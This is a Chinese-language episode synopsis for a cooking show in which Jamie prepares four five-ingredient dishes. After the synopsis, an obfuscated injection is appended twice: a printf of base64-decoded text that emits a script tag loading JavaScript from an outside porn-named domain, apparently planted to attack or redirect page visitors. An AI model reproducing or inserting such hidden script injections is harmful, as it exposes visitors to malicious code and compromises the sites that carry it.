简介： 本集，占美炮製四道好菜，每道只用上五樣材料。首先是香煎扇貝配青豆薄荷血腸薯蓉。小食是他自家製的扁麵包，配乳酪、芒果醬及流心蛋。晚餐是色香味全的鮮嫩肉眼扒，最後以杏仁酥皮批甜絲絲的作結。{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
